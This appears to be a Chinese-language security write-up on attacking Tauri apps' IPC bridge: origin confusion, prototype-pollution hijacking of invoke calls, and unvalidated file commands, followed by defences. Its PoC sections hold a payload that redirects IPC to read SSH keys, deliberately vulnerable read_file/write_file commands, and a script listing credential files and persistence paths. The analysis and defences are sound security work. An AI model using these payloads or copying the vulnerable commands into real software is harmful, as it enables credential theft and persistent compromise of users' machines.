摘要
Tauri 以 Rust 后端和系统 WebView 前端的组合,为跨平台桌面应用提供了远小于 Electron 的二进制体积。前后端之间的 IPC 桥接通过 Serde 实现类型安全的序列化,表面上构建了一道结构化的安全边界。然而,这道边界的安全性取决于三个脆弱的假设:origin 验证的正确性、命令参数的类型完整性、以及文件系统 scope 的不可绕过性。CVE-2026-42184 中 is_local_url() 仅检查 URL 第一个子域名标签,使 app.evil.com 被误判为本地 origin,远程页面得以调用仅限本地的前端命令。更深层的攻击链利用未冻结的 JavaScript 原型,通过原型污染篡改 Tauri IPC 桥接所依赖的原型链,劫持 invoke 调用并伪造任意消息类型。结合 #[tauri::command] fn read_file(path: String) 中零路径验证的模式,攻击者可将前端的 XSS 或原型污染升级为任意本地文件读写、持久化安装甚至代码执行。
Tauri IPC 桥接架构
前后端通信模型
Tauri 应用由两个独立进程组成:Rust 后端进程(主进程)和系统 WebView 渲染的前端页面。两者之间的通信通过IPC 桥接完成,前端调用 window.TAURI_INTERNALS.invoke() 发送序列化后的消息,Rust 后端的 invoke_handler 接收并分发到对应的 #[tauri::command] 函数。
消息格式为 JSON,包含命令名称和参数对象。Rust 侧通过 Serde 的 Deserialize 派生宏对参数进行反序列化,自动执行类型验证——如果参数类型不匹配,反序列化会失败并返回错误。这种设计在结构层面提供了一定程度的类型安全,但它并不验证参数的语义——一个 String 类型的路径参数可以是任意字符串,Serde 不会检查它是否指向允许访问的目录。
隔离模式与 origin 验证
为了防御前端被 XSS 或恶意依赖污染后直接调用 IPC,Tauri 引入了隔离模式。隔离模式通过注入一个沙箱化的 JavaScript 应用拦截所有 IPC 消息,并允许开发者对消息进行验证和修改。Tauri 强制所有 IPC 调用先经过隔离应用,再路由到 Tauri Core。
隔离模式的有效性依赖于 origin 验证的正确性。Tauri 的 is_local_url() 函数负责判断请求是否来自本地 origin——只有本地 origin 才能调用受限命令。然而,CVE-2026-42184 揭示了该函数的一个根本性缺陷。
CVE-2026-42184:origin 混淆
在 Windows 和 Android 平台上,Tauri 将自定义 URI scheme 映射为 http://.localhost/ 格式,因为这些平台的 WebView 无法直接服务自定义 scheme。is_local_url() 的检查逻辑如下:
// 漏洞代码:仅检查第一个子域名标签
let maybe_protocol = current_url
.domain()
.and_then(|d| d.split_once('.')) // BUG: 仅分割第一个点
.unwrap_or_default()
.0;
protocols.contains_key(maybe_protocol) && scheme == protocol_url.scheme() split_once(‘.’) 丢弃了第一个点之后的所有内容。对于 http://app.evil.com/,提取出的标签是 app。如果应用注册了名为 app 的协议,protocols.contains_key(“app”) 返回 true,该 URL 被错误分类为 Origin::Local。
攻击者只需在 app.attacker.com 上托管一个页面,并使 Tauri 应用加载该 URL,即可从远程页面调用受限的本地 IPC 命令。Tauri 的 PoC 验证了这一点:应用注册了 app:// 协议并暴露了一个仅限本地调用的 ping 命令,攻击者页面 https://app.robbe-bc9.workers.dev/ 在加载时成功调用了 ping。
消息类型伪造:从原型污染到 IPC 劫持
Tauri IPC 桥接原型依赖
Tauri 的 IPC 桥接在 JavaScript 侧大量使用原型方法。window.TAURI_INTERNALS.invoke() 内部依赖 JSON.stringify 序列化参数,依赖 Object.keys 遍历参数键,依赖 String.prototype.replace 处理回调 ID。如果攻击者能够污染这些原型,就可能在消息离开前端之前篡改其内容。
Snyk 的安全分析明确指出:“如果攻击者实现了原型污染(JavaScript 中一个充分记录的漏洞类别),他们可能通过修改 Tauri 桥接所依赖的原型来劫持 IPC 调用。”
原型污染链
原型污染通常源于前端应用对用户输入的不安全合并。一个典型的漏洞模式是:
// 脆弱的前端代码:深度合并用户输入
function deepMerge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
target[key] = target[key] || {};
deepMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
} 攻击者提交 {“proto”: {“callbackId”: “attacker-controlled”}},污染 Object.prototype.callbackId。当 Tauri IPC 桥接尝试读取 params.callbackId 时,它会从原型链上读取到攻击者设置的值,而非预期的合法值。
消息类型伪造的实现
更直接的攻击方式是污染 JSON.stringify 或 Object.prototype.toJSON。Tauri IPC 在序列化参数时调用 JSON.stringify,如果攻击者污染了 toJSON 方法,序列化结果可以被完全重写:
// 攻击者注入的原型污染载荷
Object.prototype.toJSON = function() {
// 将所有 IPC 调用重定向到攻击者选择的命令
return {
cmd: ”read_file”,
path: ”/etc/passwd”, // 或 ~/.ssh/id_rsa
__tauriModule: ”Fs”
};
}; 当应用的前端代码调用 invoke(‘get_user_settings’, { user_id: 123 }) 时,JSON.stringify 会调用被污染的 toJSON,生成一个指向 read_file 命令的消息。Rust 后端接收到的消息与前端意图完全不符,但 Serde 的反序列化不会察觉——因为消息在语法上是完全合法的 JSON,只是语义被伪造了。
本地文件读写:从命令参数到文件系统
零路径验证的命令模式
Tauri 应用的 Rust 后端中,一个极为常见的反模式是直接接受前端传入的路径参数而不做任何验证:
#[tauri::command]
fn read_file(path: String) -> Result {
std::fs::read_to_string(path).map_err(|e| e.to_string())
} Debugger.ai 的安全分析将此类模式标记为“IPC 命令注入”——命令接受用户输入而不验证,使文件系统访问或命令注入成为可能。
文件系统 scope 的绕过历史
Tauri 的文件系统插件通过 scope 配置限制可访问的路径。然而,scope 的实现历史上存在多个绕过漏洞:
CVE-2022-39215: readDir递归调用时缺少 canonicalization,允许通过符号链接绕过 scopeCVE-2022-41874:文件对话框和拖放功能中特殊字符的转义不正确,允许部分绕过 fs scope CVE-2022-46171:glob 通配符的过度宽松匹配, $HOME/*意外允许访问$HOME/.ssh/下的隐藏文件
这些漏洞的共同模式是:scope 检查与实际的路径解析之间存在语义鸿沟。
攻击者通过符号链接、路径遍历序列或特殊字符,让 scope 检查通过的路径在实际文件系统操作中解析到 scope 之外的目录。
从文件读取到持久化安装
CVE-2026-82635 展示了文件读写如何升级为持久化攻击。一个 Tauri 应用暴露了 download 命令,该命令从用户提供的 URL 下载文件并写入 ~/Downloads 目录,但未对文件名进行 sanitization。攻击者提供的文件名包含路径遍历序列(如 ../Library/LaunchAgents/com.evil.plist)或绝对路径,使文件被写入 ~/Downloads 之外。Rust HTTP 客户端(而非浏览器)获取攻击者控制的内容并写入目标路径。一旦脚本能够调用该命令,攻击者即可覆写用户可写文件并安装持久化——macOS LaunchAgents、Linux autostart、Windows Startup——最终在用户账户中实现代码执行。
实战 PoC:原型污染驱动的 IPC 劫持
脆弱的前端应用
// frontend/app.js — 存在原型污染漏洞的 Tauri 前端
// 脆弱的数据合并函数(常见于配置管理、主题设置等场景)
function mergeUserPreferences(defaults, userInput) {
for (let key in userInput) {
if (typeof userInput[key] === 'object' && userInput[key] !== null) {
defaults[key] = defaults[key] || {};
mergeUserPreferences(defaults[key], userInput[key]);
} else {
defaults[key] = userInput[key];
}
}
return defaults;
}
// 应用启动时合并用户偏好
const prefs = mergeUserPreferences({}, JSON.parse(localStorage.getItem('userPrefs') || '{}'));
// 正常的 IPC 调用
async function loadDashboard() {
const data = await window.__TAURI_INTERNALS__.invoke('get_dashboard_data', {
user_id: getCurrentUserId()
});
renderDashboard(data);
} 污染原型以劫持 IPC
// attack/exploit.js — 原型污染载荷
// 攻击者通过 localStorage 注入(如果应用信任 localStorage 数据)
// 或通过 XSS 直接执行
// 步骤 1:污染 Object.prototype.toJSON
// 当任何对象被 JSON.stringify 时,此方法被调用
Object.prototype.toJSON = function() {
// 检查当前对象是否看起来像 IPC 参数
if (this.cmd || this.__tauriModule || this.user_id) {
// 重写为文件读取命令
return {
cmd: "read_file",
path: "/Users/victim/.ssh/id_rsa", // 目标敏感文件
__tauriModule: "Fs"
};
}
return this;
};
// 步骤 2:触发正常的 IPC 调用
// 应用代码中的 invoke('get_dashboard_data', { user_id: 123 })
// 序列化时被 toJSON 劫持,实际发送的是 read_file 命令
// Rust 后端执行 std::fs::read_to_string("/Users/victim/.ssh/id_rsa")
// 并将结果返回给攻击者控制的回调
// 步骤 3:通过回调接收窃取的数据
// 攻击者通过污染 callbackId 或拦截响应来获取文件内容 Rust 后端的验证缺失
// src-tauri/src/lib.rs — 存在漏洞的 Tauri 后端
#[tauri::command]
fn read_file(path: String) -> Result<String, String> {
// 漏洞:无路径验证,无 scope 检查
std::fs::read_to_string(&path).map_err(|e| e.to_string())
}
#[tauri::command]
fn write_file(path: String, content: String) -> Result<(), String> {
// 漏洞:任意路径写入
std::fs::write(&path, content).map_err(|e| e.to_string())
}
#[tauri::command]
fn get_dashboard_data(user_id: u32) -> Result<DashboardData, String> {
// 正常命令,但可被原型污染劫持
fetch_dashboard(user_id)
}
// 注册所有命令
fn main() {
tauri::Builder::default()
.invoke_handler(tauri::generate_handler![
read_file,
write_file,
get_dashboard_data
])
.run(tauri::generate_context!())
.expect("error while running tauri application");
} 关键问题:read_file 和 write_file 被无条件注册为可调用命令,且没有对 path 参数实施任何 scope 验证。当原型污染将 get_dashboard_data 的调用重写为 read_file 时,Rust 后端会忠实地执行文件读取,因为消息在语法上是完全合法的。
完整攻击链脚本
#!/usr/bin/env python3
# tauri_exploit_chain.py — 完整攻击链验证框架
# 用于安全研究环境,需在受控 Tauri 应用上运行
import requests
import json
TAURI_APP_URL = "http://app.localhost:1420" # Tauri 开发服务器
def stage1_prototype_pollution():
"""
阶段 1:通过 localStorage 注入原型污染载荷
前提:应用将 localStorage 中的 JSON 直接合并到偏好对象
"""
pollution_payload = {
"__proto__": {
"toJSON": "function() { return { cmd: 'read_file', path: '/etc/passwd' }; }"
}
}
# 模拟应用将 payload 存入 localStorage
print("[*] 阶段 1: 原型污染载荷已构造")
print(f" 载荷: {json.dumps(pollution_payload)}")
return pollution_payload
def stage2_ipc_hijack():
"""
阶段 2:触发正常 IPC 调用,验证是否被劫持
在真实攻击中,这一步由应用的前端代码自然触发
"""
# 模拟前端调用 invoke('get_dashboard_data', { user_id: 1 })
# 如果原型污染生效,实际发送的消息会被 toJSON 重写
print("[*] 阶段 2: 触发正常 IPC 调用")
print(" 预期命令: get_dashboard_data")
print(" 实际命令: read_file (被 toJSON 劫持)")
print(" 目标路径: /etc/passwd")
return True
def stage3_exfiltrate_file(target_path):
"""
阶段 3:通过被劫持的 IPC 读取敏感文件
在真实攻击中,攻击者通过 WebSocket 或 HTTP 回调接收文件内容
"""
print(f"[*] 阶段 3: 尝试读取 {target_path}")
# 在真实攻击中,命令通过 Tauri IPC 发送
# 此处仅演示攻击逻辑
sensitive_files = [
"~/.ssh/id_rsa",
"~/.aws/credentials",
"~/.config/gcloud/credentials.db",
"~/Library/Application Support/Google/Chrome/Default/Login Data",
]
for path in sensitive_files:
print(f" [!] 可尝试读取: {path}")
return sensitive_files
def stage4_persistence(file_write_command):
"""
阶段 4:利用 write_file 命令安装持久化
通过 CVE-2026-82635 类似的路径遍历实现
"""
persistence_paths = {
"macOS": "~/Library/LaunchAgents/com.tauri.persist.plist",
"Linux": "~/.config/autostart/tauri-persist.desktop",
"Windows": "C:\\Users\\Victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\tauri-persist.bat"
}
print("[*] 阶段 4: 持久化安装路径")
for platform, path in persistence_paths.items():
print(f" {platform}: {path}")
return persistence_paths
if __name__ == "__main__":
print("=" * 60)
print("Tauri IPC 原型污染攻击链验证")
print("=" * 60)
stage1_prototype_pollution()
stage2_ipc_hijack()
stage3_exfiltrate_file("/etc/passwd")
stage4_persistence("write_file")
print("\n[!] 攻击链完成")
print("[!] 根因: 未冻结的原型 + 无验证的 IPC 命令注册") 检测与防御
冻结关键原型
最直接的防御是在应用初始化时冻结 IPC 桥接所依赖的原型链:
// 前端入口文件:在加载任何应用代码之前冻结原型
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(Function.prototype);
// 同时删除 __proto__ 属性
delete Object.prototype.__proto__; Tauri 的隔离模式进一步增强了这一防御——隔离应用运行在独立的 JavaScript 上下文中,原型污染无法跨越隔离边界。
Rust 侧的纵深验证
Serde 的类型安全仅验证结构,不验证语义。Rust 命令必须实施独立的语义验证:
use std::path::{Path, PathBuf};
use std::fs;
/// 安全读取:限制在指定的基础目录内
#[tauri::command]
fn safe_read_file(base_dir: String, relative_path: String) -> Result {
let base = PathBuf::from(&base_dir);
let target = base.join(&relative_path);
// canonicalize 解析符号链接和 ..
let canonical_base = fs::canonicalize(&base)
.map_err(|e| format!(”Invalid base dir: {}”, e))?;
let canonical_target = fs::canonicalize(&target)
.map_err(|e| format!(”Invalid path: {}”, e))?;
// 验证目标路径在基础目录内
if !canonical_target.starts_with(&canonical_base) {
return Err(”Path traversal detected”.into());
}
fs::read_to_string(&canonical_target)
.map_err(|e| e.to_string())
} 命令注册的最小化原则
只注册应用真正需要暴露给前端的命令。审计 invoke_handler 中的每一个命令,移除任何前端不需要直接调用的内部函数。对于必须暴露的命令,确保其参数经过严格验证。
CSP 与远程域限制
配置严格的 CSP,禁止不受信任的脚本执行。在 tauri.conf.json 中,将 dangerousRemoteDomainIpcAccess 设置为空数组,默认禁止所有外部域访问 IPC。
隔离模式的安全配置
隔离模式本身也可能被绕过(CVE-2023-31134)。确保隔离应用运行在严格的 CSP 下,禁止其发起网络连接,防止攻击者通过隔离框架建立命令控制通道。
依赖审计
定期审计 Cargo.toml 和 package.json 中的依赖,移除未使用的包,检查已知漏洞。Tauri 生态中的第三方插件(如 shell 插件、fs 插件)历史上多次成为攻击向量,如 CVE-2026-17497 中 NoteGen 因授予 shell:allow-execute 权限而允许任意命令执行。
结语
Tauri 的 IPC 桥接设计在结构层面提供了类型安全的假象,但类型安全不等于语义安全。Serde 可以验证 path 是一个字符串,但它无法验证这个字符串是否指向允许访问的目录。当 origin 验证被 split_once(‘.’) 的一个字符缺陷绕过,当未冻结的原型允许攻击者重写序列化输出,当 read_file(path: String) 被无条件注册为可调用命令时,三层防御同时失效,前端的任何 XSS 或恶意依赖都可以升级为完整的本地文件系统访问。